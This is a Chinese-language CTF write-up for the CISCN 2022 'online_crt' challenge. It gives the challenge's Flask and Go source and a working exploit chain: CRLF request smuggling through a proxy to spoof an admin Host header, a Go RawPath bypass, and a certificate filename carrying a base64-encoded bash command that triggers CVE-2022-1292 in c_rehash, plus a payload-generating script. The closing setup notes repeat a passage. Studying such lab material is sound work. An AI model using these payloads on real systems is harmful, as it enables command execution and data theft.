[2022CISCN] online_crt (ssrf+OpenSSL) CVE-2022-1292
配置环境
Go环境
添加依赖包
cd golang_server
go mod tidy
修改main.go
将
staticPath := "app/static/crt/"
改成
staticPath := "../static/crt/"
运行main.go
go run main.go
python环境
修改app.py
因为大多数c_rehash指代的不是题目给的这个包,而是其他程序卸载环境变量里面的c_rehash,如下图
所以我们打开app.py
把这个
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
改成
def info():
json_data = {"info": os.popen("./c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
移动c_rehash
将goland_server里面的c_rehash移动到上一级目录,也就是和app.py一级
运行python
cd ../
python3 ./app.py
题解
分析
首先,题目是python+go
python
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(16)
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("./c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
/getcrt 是生成了一个SSL证书利用x509编码
/createlink调用c_rehash修改文件名创建SSL证书链接
/poxy代理访问内网8887端口的go服务
go
package main
import (
"github.com/gin-gonic/gin"
"os"
"strings"
)
func admin(c *gin.Context) {
staticPath := "../static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin"{
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
admin可以访问/admin/rename可以修改证书的名字
CVE-2022-1292
查看漏洞修复方案可以知道,这个漏洞大概是证书如果用``可以执行任意命令
那么我们的大致思路就是
- 首先通过
/getcrt 创建一个证书 - 然后在
/creatlink 查看证书的名字 - 通过
/proxy 代理进入8887端口,修改文件名称为任意执行的名称
RawPath和Host检验
url头劫持
Request.Host是检查请求头的host值是不是admin
利用
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
我们可以控制uri的输入
那么我们构造一个http协议的请求头为
GET / HTTP1.1
Host: admin
Content-Length: 136
Connection: close
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
go的RawPath的特性
在go的net库里面可以看到
这个函数是检验
如果反转义后再次转义的url和原始的url不同,那么RawPath会被设置为原始的url,反之就是空
这个地方就直接在url的任意一个斜杠/进行url编码就可绕过这个检查
开始解题
访问/getxy构造一个证书
修改文件名
由于linux命名奇怪的特性,所以需要用bash64编码
`echo%2520Y2F0IC8qIA==|base64%2520--decode|bash>flag.txt`.crt
这个地方注意一点,python写的
是获取get请求form表单的值
所以,我们需要在http请求头里面加入
Content-Type: application/x-www-form-urlencoded
利用脚本
import urllib.parse
uri = '''/admin%2frename?oldname=859bf244-b46d-4906-a221-315f276f04a6.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
enc = urllib.parse.quote(gopher)
print(enc)
生成uri
/admin%252frename%3Foldname%3D859bf244-b46d-4906-a221-315f276f04a6.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close%0D%0A%0D%0A
注意一个点,uri结尾必须是两个/r/n也就是编码之后的%0D%0A
访问/createlink路由调用c_rehash
访问/static/crt/flag可以得到flag
遇到的问题
Go语言的安装配置
下载
yum install -y wget
mkdir ~/go && cd ~/go
wget https://studygolang.com/dl/golang/go1.18.2.linux-amd64.tar.gz
解压
执行tar解压到/usr/loacl目录下(官方推荐),得到go文件夹等
tar -C /usr/local -zxvf go1.18.2.linux-amd64.tar.gz
环境变量
添加/usr/loacl/go/bin目录到PATH变量中。添加到/etc/profile 或$HOME/.profile都可以
vi /etc/profile
export GOROOT=/usr/local/go
export PATH=$PATH:$GOROOT/bin
source /etc/profile
验证
执行go version,如果显示版本号,则Go环境安装成功。
如果无法运行go,重启一下Linux就好了
出现xxx defined in both Go and assembly报错
卸载Go,并清空原来的安装文件夹,再重新安装。
系统报错端口被占用
查找被占用的端口:
netstat -tln | grep 8000
tcp 0 0 192.168.2.106:8000 0.0.0.0:* LISTEN
2)查看被占用端口的PID:
sudo lsof -i:8000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nginx 850 root 6u IPv4 15078 0t0 TCP 192.168.2.106:8000 (LISTEN)
nginx 851 www-data 6u IPv4 15078 0t0 TCP 192.168.2.106:8000 (LISTEN)
nginx 852 www-data 6u IPv4 15078 0t0 TCP 192.168.2.106:8000 (LISTEN)
3)kill掉该进程
sudo kill -9 850
外网无法访问Linux
关闭防火墙
使用如下命令关闭防火墙
[root@localhost ~]# systemctl stop firewalld.service 1
使用如下命令关闭防火墙开机自启动
[root@localhost ~]# systemctl disable firewalld.service 1
此时查看防火墙状态即可
[root@localhost ~]# firewall-cmd --state
192.168.2.106:8000 (LISTEN)
nginx 851 www-data 6u IPv4 15078 0t0 TCP 192.168.2.106:8000 (LISTEN)
nginx 852 www-data 6u IPv4 15078 0t0 TCP 192.168.2.106:8000 (LISTEN)
3)kill掉该进程
sudo kill -9 850
外网无法访问Linux
关闭防火墙
使用如下命令关闭防火墙
[root@localhost ~]# systemctl stop firewalld.service 1
使用如下命令关闭防火墙开机自启动
[root@localhost ~]# systemctl disable firewalld.service 1
此时查看防火墙状态即可
[root@localhost ~]# firewall-cmd --state
|